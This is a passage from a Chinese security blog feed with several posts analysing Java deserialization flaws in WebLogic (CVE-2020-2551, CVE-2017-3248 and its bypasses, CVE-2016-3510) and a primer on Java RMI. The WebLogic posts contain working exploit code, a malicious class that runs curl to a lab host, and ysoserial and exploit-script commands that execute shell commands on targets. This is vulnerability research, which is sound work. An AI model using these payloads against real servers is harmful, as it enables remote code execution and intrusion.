<p><span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span>-IIOP出现以前，只有RMI和CORBA两种选择来进行分布式程序设计，二者之间不能协作。RMI-IIOP综合了RMI 和CORBA的优点，克服了他们的缺点，使得程序员能更方便的编写分布式程序设计，实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性，RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性。</p>
<p>在Weblogic中，默认启用了IIOP，而IIOP的传输也是通过序列化和反序列化的形式来进行的。在Weblogic中RMI-IIOP模型可以借用奇安信观星实验室的一张图来说明</p>
<p><img src="https://y4er.com/img/uploads/20200228171035.png" alt="image" /></p>
<h2>IIOP样例</h2>
<p>先来看一个简单的RMI-IIOP样例，具体代码可以看 https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms</p>
<pre><code class="language-java ">package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
            //实例化Hello servant
            HelloImpl helloRef = new HelloImpl();

            //使用JNDI在命名服务中发布引用
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);

            System.out.println("Hello Server Ready...");

            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}
</code></pre>
<p>Server端通过InitialContext拿到上下文，然后注册一个HelloService对应helloRef引用，而HelloImpl又实现了HelloInterface接口，其中有一个sayHello方法并且继承<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi.Remote抛出java.rmi.RemoteException，这部分其实和RMI是大同小异的，在我的其他文章中介绍过了RMI，这里不再赘述。</p>
<h2>漏洞分析</h2>
<p>现在我们来看这个漏洞。IIOP传输的过程中会自动序列化和反序列化，那么我们可以通过向服务器7001端口发送一个恶意的序列化对象，IIOP达到RCE。</p>
<p>发送恶意序列化对象的过程，其实就是bind的过程，由此我们可以构造请求</p>
<pre><code class="language-java ">Hashtable&lt;String, String&gt; env = new Hashtable&lt;String, String&gt;();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiurl);

Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
context.rebind("Y4er"+System.nanoTime(), remote);
</code></pre>
<p>你肯定疑惑JtaTransactionManager和weblogic.jndi.WLInitialContextFactory是从哪来的？</p>
<ol>
<li>JtaTransactionManager是spring爆出的一个可以JDNI注入的类，在weblogic中也存在。</li>
<li>weblogic.jndi.WLInitialContextFactory 是weblogic的JDNI工厂类。</li>
</ol>
<p>国际惯例，跟一下流程，IIOP解析数据流的部分看不懂不跟了，从IIOP开始反序列化对象开始</p>
<p>E:/sou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>/java/Weblogic/src/main/resources/lib/modules/weblogic.jar!/weblogic/iiop/IIOPInputStream.class:1725<br />
<img src="/wp-content/uploads/2020/02/20200228174070.png" alt="image" /></p>
<p>此时var2是序列化传入的<code>com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager</code>，跟进readValue()<br />
<img src="/wp-content/uploads/2020/02/20200228172827.png" alt="image" /></p>
<p>跟进readValueData()，判断是否有readObject方法之后进入自身的readObject()，也就是<code>om.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager</code>的readObject</p>
<p><img src="/wp-content/uploads/2020/02/20200228175633.png" alt="image" /></p>
<p>然后通过反射调用JtaTransactionManager的readObject()，跟进<br />
<img src="/wp-content/uploads/2020/02/20200228176407.png" alt="image" /></p>
<p>到此之后就是Weblogic的CVE-2018-3191 spring JDNI注入了，简单来说就是lookup()的参数可控，导致可以加载任意类。我们继续跟进initUserTransactionAndTransactionManager()<br />
<img src="/wp-content/uploads/2020/02/20200228172797.png" alt="image" /></p>
<p>如果userTransaction等于空有userTransactionName属性则进入lookupUserTransaction()，跟进<br />
<img src="/wp-content/uploads/2020/02/20200228171163.png" alt="image" /></p>
<p>此时lookup()参数可控<br />
<img src="/wp-content/uploads/2020/02/20200228170996.png" alt="image" /></p>
<p>lookup加载我们的RMI服务，可以注入恶意ip的rmi服务，触发实例化恶意类构造方法调用。如果不明白请参考文末的《Spring framework 反序列化的漏洞》以及《weblogic之CVE-2018-3191漏洞分析》。</p>
<h2>漏洞利用</h2>
<p>Github：https://github.com/Y4er/CVE-2020-2551</p>
<p>下载jar包，然后使用marshalsec起一个恶意的RMI服务，本地编译一个exp.java</p>
<pre><code class="language-java ">package payload;

import java.io.IOException;

public class exp {

    public exp() {
        String cmd = "curl http://172.16.1.1/success";
        try {
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p><strong>尽量使用和weblogic相同的版本编译</strong> 然后本地起一个web服务器</p>
<pre><code class="">python -m http.server --bind 0.0.0.0 80
</code></pre>
<p>命令行运行jar包</p>
<pre><code class="">java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp
</code></pre>
<p>实际效果如图<br />
<img src="/wp-content/uploads/2020/02/20200228174168.gif" alt="image" /></p>
<h2>参考链接</h2>
<ol>
<li>https://paper.seebug.org/1130</li>
<li>https://seaii-blog.com/index.php/2019/12/29/92.html</li>
<li>https://www.anquanke.com/post/id/197605</li>
<li>https://www.cnblogs.com/afanti/p/10256843.html</li>
<li>https://www.cnblogs.com/afanti/p/10193169.html</li>
<li>https://github.com/Y4er/CVE-2020-2551</li>
<li>https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms</li>
<li>https://paper.seebug.org/1105/</li>
<li>https://paper.seebug.org/1091/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/audit/1282.html/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Weblogic JRMP反序列化及绕过分析</title>
		<link>/audit/1275.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 27 Feb 2020 07:15:27 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[JRMP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1275</guid>

					<description><![CDATA[前言 JRMP是Java使用的另一种数据传输协议，在前文中提到了传输过程中会自动序列化和反序列化，因此weblogic出现了一系列的漏洞，即CVE-2017-3248、CVE-20...]]></description>
										<content:encoded><![CDATA[<h2>前言</h2>
<p><span class="wpcom_tag_link"><a href="/tags/jrmp" title="JRMP" target="_blank">JRMP</a></span>是Java使用的另一种数据传输协议，在前文中提到了传输过程中会自动序列化和<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>，因此<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>出现了一系列的漏洞，即CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245，众所周知weblogic打补丁的形式为黑名单，所以CVE-2017-3248之后的洞都为黑名单绕过，本文逐一讲解。</p>
<h2>CVE-2017-3248</h2>
<h3>复现</h3>
<p>因为本机没有python2，就直接在虚拟机里复现了。使用ysoserial监听JRMP服务</p>
<pre><code class="">./Oracle/Middleware/jdk160_29/jre/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 'touch /tmp/success'
</code></pre>
<p><a class="wp-editor-md-post-content-link" href="https://www.exploit-db.com/exploits/44553">下载python版exp脚本</a> ，运行</p>
<pre><code class="">python 44553.py 172.16.2.129 7001 ./ysoserial.jar 172.16.2.129 8080 JRMPClient
</code></pre>
<p>成功创建/tmp/success文件<br />
<img src="https://y4er.com/img/uploads/20200226205381.png" alt="image" /></p>
<h3>分析</h3>
<p>JRMP在前文中提到了在传输过程中也会自动序列化和反序列化，那么我们可以构造一个gadgets，通过T3协议让weblogic自动请求我们的JRMPListener，然后JRMPListener返回给他一个恶意的gadgets对象，weblogic自动反序列化恶意对象，达到<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>。</p>
<p>过程如图<br />
<img src="/wp-content/uploads/2020/02/20200226201443.png" alt="image" /></p>
<p>整个构造需要两步<br />
1. 构造T3协议的payload，让weblogic请求我们的JRMP -> 复现中的python脚本<br />
2. 构造JRMPListener返回的gadgets                                -> 复现时监听JRMPListener</p>
<p>看下python脚本，发现脚本中是使用ysoserial生成payload.out，然后读出hex构造t3发包<br />
<img src="/wp-content/uploads/2020/02/20200226206003.png" alt="image" /></p>
<p>看下JRMPClient.<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>的代码<br />
<img src="/wp-content/uploads/2020/02/20200226200969.png" alt="image" /></p>
<p>利用java.rmi.registry.Registry，序列化RemoteObjectInvocationHandler，并使用UnicastRef和远端建立tcp连接，获取RMI registry，序列化之后发送给weblogic，weblogic会请求我们的JRMPListener，然后将获取的内容利用readObject()进行解析，导致恶意代码执行。</p>
<h3>改造weblogic_cmd</h3>
<p>BypassPayloadSelector.java</p>
<pre><code class="language-java ">public static Object selectBypass(Object payload) throws Exception {

    if (Main.TYPE.equalsIgnoreCase("marshall")) {
        payload = marshalledObject(payload);
    } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
        payload = streamMessageImpl(Serializables.serialize(payload));
    }else if(Main.TYPE.equalsIgnoreCase("JRMPListener")){
        payload = JRMPListener(cmdLine.getOptionValue("H")+":"+ cmdLine.getOptionValue("P"));
    }
    return payload;
}

public static Registry JRMPListener(String command) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep &lt; 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(BypassPayloadSelector.class.getClassLoader(), new Class[]{
        Registry.class
            }, obj);
    return proxy;
}
</code></pre>
<p>weblogic_cmd是一个很方便发送t3协议数据的工具，改了改通过参数-T来指定JRMPClient，加了一个JRMPClient方法，仍然需要用ysoserial.jar监听JRMPListener。</p>
<pre><code class="">java -cp yso.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 "curl http://172.16.1.1/"
</code></pre>
<h2>CVE-2018-2628</h2>
<p>先看CVE-2017-3248的补丁</p>
<pre><code class="language-java ">protected Class&lt;?&gt; resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    String[] arr$ = interfaces;
    int len$ = interfaces.length;

    for(int i$ = 0; i$ &lt; len$; ++i$) {
        String intf = arr$[i$];
        if (intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }

    return super.resolveProxyClass(interfaces);
}
</code></pre>
<p>思路一：resolveProxyClass反序列化代理类才会调用，直接反序列化UnicastRef对象，调用sum.rmi.server.UnicastRef#readExternal。</p>
<pre><code class="language-java ">public Registry getObject(final String command) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep &lt; 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    return ref;
}
</code></pre>
<p>这样绕过之后补丁把UnicastRef加入了黑名单。</p>
<p>思路二：使用java.rmi.registry.Registry之外的类。廖新喜用的<code>java.rmi.activation.Activator</code></p>
<pre><code class="language-java ">public Registry getObject(final String command) throws Exception {
    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep &lt; 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] {
        Activator.class
            }, obj);
    return proxy;
}
</code></pre>
<h2>CVE-2018-2893</h2>
<p>由于weblogic一直没有处理streamMessageImpl，导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893，用streamMessageImpl封装一下而已。</p>
<h2>CVE-2018-3245</h2>
<p>RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler，实际上就是找RemoteObject类的子类。https://github.com/pyn3rd/CVE-2018-3245</p>
<h2>总结</h2>
<p>一切罪恶的源头都是T3协议，weblogic还是禁用T3协议为好。weblogic黑名单补丁总是治标不治本，无奈的是补丁需要付费才能下载到。</p>
<h2>参考</h2>
<ol>
<li>https://www.cnblogs.com/afanti/p/10256840.html</li>
<li>https://seaii-blog.com/index.php/2019/12/29/92.html</li>
<li>https://github.com/pyn3rd/CVE-2018-2893</li>
<li>https://mp.weixin.qq.com/s/ohga7Husc9ke5UYuqR92og</li>
<li><a class="wp-editor-md-post-content-link" href="http://xxlegend.com/2018/06/20/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/">廖新喜 CVE-2018-2628 简单复现与分析</a></li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java RMI原理及反序列化学习</title>
		<link>/audit/1221.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:16:43 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[JRMP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1221</guid>

					<description><![CDATA[RMI 远程方法调用 RMI简介 Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span> 远程方法调用</p>
<h2>RMI简介</h2>
<p>Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。</p>
<p>接口的两种常见实现方式是：最初使用<span class="wpcom_tag_link"><a href="/tags/jrmp" title="JRMP" target="_blank">JRMP</a></span>（Java Remote Message Protocol，Java远程消息交换协议）实现；此外还可以用与CORBA兼容的方法实现。RMI一般指的是编程接口，也有时候同时包括JRMP和API（应用程序编程接口），而RMI-IIOP则一般指RMI接口接管绝大部分的功能，以支持CORBA的实现。</p>
<p>最初的RMI API设计为通用地支持不同形式的接口实现。后来，CORBA增加了传值（pass by value）功能，以实现RMI接口。然而RMI-IIOP和JRMP实现的接口并不完全一致。</p>
<p>更多参考 <a class="wp-editor-md-post-content-link" href="https://www.jianshu.com/p/362880b635f0">JAVA RPC：从上手到爱不释手</a></p>
<h2>RMI架构</h2>
<p>RMI分为三部分<br />
1. Registry 类似网关<br />
2. Server 服务端提供服务<br />
3. Client 客户端调用</p>
<p>实现RMI所需的API几乎都在：<br />
&#8211; <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi：提供客户端需要的类、接口和异常；<br />
&#8211; java.rmi.server：提供服务端需要的类、接口和异常；<br />
&#8211; java.rmi.registry：提供注册表的创建以及查找和命名远程对象的类、接口和异常；</p>
<p>上代码，服务端</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 8989;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);

            // 创建一个服务
            RMIInterface rmiInterface = new RMIImpl();

            // 服务命名绑定
            Naming.rebind(RMI_NAME, rmiInterface);

            System.out.println("启动RMI服务在" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
</code></pre>
<p>上述代码中，在8989端口起了RMI服务，以键值对的形式存储了RMI_PATH和rmiInterface的对应关系，也就是<code>rmi://127.0.0.1:8989/hello</code>对应一个RMIImpl类实例，然后通过<code>Naming.rebind(RMI_NAME, rmiInterface)</code>绑定对应关系。再来看RMIInterface.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String hello() throws RemoteException;
}
</code></pre>
<p>定义了RMIInterface接口，继承自Remote，然后定义了一个hello()方法作为接口。注意需要抛出RemoteException异常。继续看实现真正功能的类RMIImpl.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIImpl extends UnicastRemoteObject implements RMIInterface {
    protected RMIImpl() throws RemoteException {
        super();
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("call hello().");
        return "this is hello().";
    }

}
</code></pre>
<p>继承自UnicastRemoteObject类，并且实现之前定义的RMIInterface接口的hello()方法。UnicastRemoteObject类提供了很多支持RMI的方法，具体来说，这些方法可以通过JRMP协议导出一个远程对象的引用，并通过动态代理构建一个可以和远程对象交互的Stub对象。现在就定义好了Server端，来看Client</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import static com.test.rmi.RMIServer.RMI_NAME;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 获取服务注册器
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8989);
            // 获取所有注册的服务
            String[] list = registry.list();
            for (String i : list) {
                System.out.println("已经注册的服务：" + i);
            }

            // 寻找RMI_NAME对应的RMI实例
            RMIInterface rt = (RMIInterface) Naming.lookup(RMI_NAME);

            // 调用Server的hello()方法,并拿到返回值.
            String result = rt.hello();

            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>我们可以通过Registry拿到所有已经注册的服务，其中就包括我们注册的hello。然后可以通过Naming.lookup(RMI_NAME)去寻找对应的hello实例，这样就拿到了远程对象，可以直接通过对象来调用hello()方法。</p>
<p>在Java 1.4及 以前的版本中需要手动建立Stub对象，通过运行rmic命令来生成远程对象实现类的Stub对象，但是在Java 1.5之后可以通过动态代理来完成，不再需要这个过程了。运行Server之后再运行Client输出结果</p>
<pre><code class="line-numbers">Server
启动RMI服务在rmi://127.0.0.1:8989/hello
call hello().

Client
已经注册的服务：hello
this is hello().
</code></pre>
<p>那么Registry去哪了？通常在新建一个RMI Registry的时候，都会直接绑定一个对象在上面，也就是说我们示例代码中的Server其实包含了Registry和Server两部分。我们用一张图来解释下。</p>
<p><img src="https://y4er.com/img/uploads/20200216017286.png" alt="image" /></p>
<h2>RMI的通信模型</h2>
<p>上一部分我提到了Stub对象，是因为RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制，真正的调用过程如图所示。</p>
<p><img src="https://y4er.com/img/uploads/20200216011185.png" alt="image" /></p>
<p>Client调用远程方法时，会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)对象，然后将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象，RemoteCall序列化服务名和Remote对象，RemoteRef将序列化之后的数据通过socket传输到Server的RemoteRef。</p>
<p>Server的RemoteRef收到远程调用请求之后，将数据传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)，Skeleton调用RemoteCall<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>传过来的数据，Skeleton处理客户端请求如：bind、list、lookup、rebind、unbind，如果是lookup则查找RMI服务名绑定的接口对象，序列化该对象并通过RemoteCall传输到Client。</p>
<p>Client反序列化Server返回的序列化数据从而获得远程对象的引用。然后Client调用远程方法，Server反射执行对应方法并将结果序列化传输给Client，Client反序列化结果，整个过程结束。</p>
<h2>RMI需要解决的问题</h2>
<p>其实很明显的有两大问题<br />
1. 数据的传递问题<br />
2. 远程对象如何发现</p>
<h3>数据传递</h3>
<p>Java中是存在引用类型的，当引用类型的变量作为参数被传递时，传递的不是值，而是内存地址，而对于一台机器上的同一个Java虚拟机来讲，引用传递当然没有问题，而对于分布式的RPC调用，引用传递的内存地址在两个Java虚拟机中并不对等，所以怎么解决呢？</p>
<ol>
<li>使用序列化传递</li>
<li>仍然用引用传递，每当远程主机调用本地主机方法时，该调用还要通过本地主机查询该引用对应的对象</li>
</ol>
<p>RMI中的参数传递和结果返回可以使用的三种机制（取决于数据类型）：</p>
<p>简单类型：按值传递，直接传递数据拷贝；<br />
远程对象引用（实现了Remote接口）：以远程对象的引用传递；<br />
远程对象引用（未实现Remote接口）：按值传递，通过序列化对象传递副本，本身不允许序列化的对象不允许传递给远程方法</p>
<h3>远程对象发现</h3>
<p>RMI解决方式就是类似于域名对应IP的解决方式，<code>rmi://host:port/name</code>，不同的name对应不同的远程对象，注意主机和端口都是可选的，如果省略主机，则默认运行在本地；如果端口也省略，则默认端口是1099。</p>
<h2>RMI的序列化和反序列化</h2>
<p>在RMI的通信过程中，用到了很多的序列化和反序列化，而在Java中，只要进行反序列化操作就可能有漏洞。RMI通过序列化传输Remote对象，那么我们可以构造恶意的Remote对象，当服务端反序列化传输过来的数据时，就会触发反序列化。</p>
<p>利用的话我们可以使用<span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>，如图<br />
<img src="https://y4er.com/img/uploads/20200216016965.png" alt="image" /></p>
<p>客户端在sun.rmi.registry.RegistryImpl_Stub#bind中进行了序列化，这个类是动态生成的，所以在源码中找不到这个类。<br />
<img src="https://y4er.com/img/uploads/2020021601567.png" alt="image" /></p>
<p>服务端在sun.rmi.registry.RegistryImpl_Skel#dispatch 进行反序列化，同样是动态生成类。<br />
<img src="https://y4er.com/img/uploads/20200216014183.png" alt="image" /></p>
<h2>RMI-JRMP反序列化</h2>
<p>JRMP接口的两种常见实现方式：<br />
1. JRMP协议(Java Remote Message Protocol)，RMI专用的Java远程消息交换协议。<br />
2. IIOP协议(Internet Inter-ORB Protocol) ，基于 CORBA 实现的对象请求代理协议。</p>
<p>JRMP在传输过程中也会自动序列化和反序列化，利用过程和RMI一样，不再此赘述。</p>
<h2>参考链接</h2>
<ol>
<li>https://javasec.org/javase/RMI/</li>
<li>https://blog.csdn.net/lmy86263/article/details/72594760</li>
<li>https://www.cnblogs.com/afanti/p/10256840.html</li>
<li>https://xz.aliyun.com/t/5392</li>
<li>https://blog.51cto.com/guojuanjun/1423392</li>
<li>https://blog.hufeifei.cn/2017/12/14/Java/RMI%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/</li>
<li>https://www.jianshu.com/p/362880b635f0</li>
<li>https://www.anquanke.com/post/id/197829</li>
<li>https://xz.aliyun.com/t/2223 [这篇很清晰]</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Weblogic CVE-2016-3510 MarshalledObject反序列化绕过分析</title>
		<link>/audit/1207.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:13:19 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1207</guid>

					<description><![CDATA[Weblogic系列文章，还是绕过黑名单。 复现 https://github.com/5up3rc/weblogic_cmd 修改payload类型 成功执行命令，断点同样下在I...]]></description>
										<content:encoded><![CDATA[<p>Weblogic系列文章，还是绕过黑名单。<br />
<span id="more-1207"></span></p>
<h2>复现</h2>
<p>https://github.com/5up3rc/<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>_cmd 修改payload类型</p>
<p><img src="https://y4er.com/img/uploads/20200216011668.png" alt="image" /></p>
<p>成功执行命令，断点同样下在InvokerTransformer的transform()，堆栈如下。</p>
<pre><code class="">transform:123, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:50, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57
readObject:327, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readResolve:58, MarshalledObject (weblogic.corba.utils)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadResolve:1061, ObjectStreamClass (java.io)
readOrdinaryObject:1761, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
</code></pre>
<p>用的common-collection1，MarshalledObject 在 (weblogic.corba.utils) 中 <code>WEB-INFlibweblogic.jar!weblogiccorbautilsMarshalledObject.class</code></p>
<h2>分析</h2>
<p>同样是绕过黑名单，将<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>的对象封装进了weblogic.corba.utils.MarshalledObject，然后再对MarshalledObject进行序列化，生成payload字节码。由于MarshalledObject不在WebLogic黑名单里，可正常反序列化，在反序列化时MarshalledObject对象调用readObject时对MarshalledObject封装的序列化对象再次反序列化，可以绕过黑名单的限制。</p>
<p>看下weblogic_cmd中如何构造的</p>
<p><img src="/wp-content/uploads/2020/02/20200216018369.png" alt="image" /></p>
<p>handler是构造的cc对象，进入BypassPayloadSelector.selectBypass()</p>
<p><img src="/wp-content/uploads/2020/02/20200216015027.png" alt="image" /></p>
<p>根据TYPE决定使用什么来构造payload，跟进到marshalledObject(payload)</p>
<p><img src="/wp-content/uploads/2020/02/20200216017587.png" alt="image" /></p>
<p>将构造的cc对象封装进MarshalledObject对象marshalledObject，然后return，进入Serializables.serialize(_handler)</p>
<p><img src="/wp-content/uploads/2020/02/20200216016245.png" alt="image" /></p>
<p>拿到序列化对象的字节码数组，然后通过t3协议发送出去，后面不在解释。</p>
<p>总的来说，就是将cc对象封装进MarshalledObject，MarshalledObject不在黑名单中，那么执行他的readObject()就可以触发cc链。</p>
